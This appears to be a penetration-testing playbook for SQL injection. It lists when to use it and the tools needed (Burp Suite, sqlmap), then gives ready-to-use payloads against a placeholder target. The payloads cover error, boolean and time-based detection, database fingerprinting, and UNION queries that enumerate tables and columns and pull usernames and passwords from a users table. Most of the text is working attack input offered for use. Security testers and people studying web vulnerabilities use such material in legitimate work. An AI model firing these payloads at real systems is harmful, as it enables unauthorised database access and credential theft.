sqli-manual-and-automated

SQL Injection — Manual & Automated

When to Use

• When testing web applications that interact with SQL databases
• When user input is reflected in database queries (search, login, filters, sorting)
• When you see database error messages in application responses
• When testing API endpoints that accept structured query parameters
• When login forms don't use parameterized queries

Prerequisites

• Burp Suite Pro/Community for request interception
• sqlmap for automated injection and extraction
• Understanding of SQL syntax (MySQL, PostgreSQL, MSSQL, Oracle)
• Target must use a SQL database backend

Workflow

Phase 1: Detection & Fingerprinting

# Step 1: Inject special chars to trigger errors
# Single quote (most common)
https://target.com/product?id=1'

# Double quote
https://target.com/product?id=1"

# Semicolon (query stacking)
https://target.com/product?id=1;

# Comment markers
https://target.com/product?id=1--
https://target.com/product?id=1#

# Step 2: Boolean-based detection
# True condition (should return normal page):
https://target.com/product?id=1 AND 1=1
# False condition (should return different/empty page):
https://target.com/product?id=1 AND 1=2

# If responses differ → SQL injection confirmed

# Step 3: Time-based detection (for blind SQLi)
# MySQL:
https://target.com/product?id=1 AND SLEEP(5)--
# MSSQL:
https://target.com/product?id=1; WAITFOR DELAY '0:0:5'--
# PostgreSQL:
https://target.com/product?id=1; SELECT pg_sleep(5)--

# Step 4: Database fingerprinting
# MySQL:  SELECT @@version
# MSSQL:  SELECT @@version
# Oracle: SELECT banner FROM v$version
# PostgreSQL: SELECT version()

Phase 2: UNION-based Extraction

-- Step 1: Find number of columns
ORDER BY 1--    -- OK
ORDER BY 2--    -- OK
ORDER BY 3--    -- ERROR → 2 columns

-- Step 2: Find displayable columns
UNION SELECT NULL,NULL--
UNION SELECT 'a',NULL--
UNION SELECT NULL,'a'--

-- Step 3: Extract database info
-- MySQL:
UNION SELECT @@version, database()--
UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
UNION SELECT username,password FROM users--

-- PostgreSQL:
UNION SELECT version(), current_database()--
UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='public'--

-- MSSQL:
UNION SELECT @@version, DB_NAME()--
UNION SELECT name,NULL FROM sysobjects WHERE xtype='U'--

-- Oracle:
UNION SELECT banner,NULL FROM v$version--
UNION SELECT table_name,NULL FROM all_tables--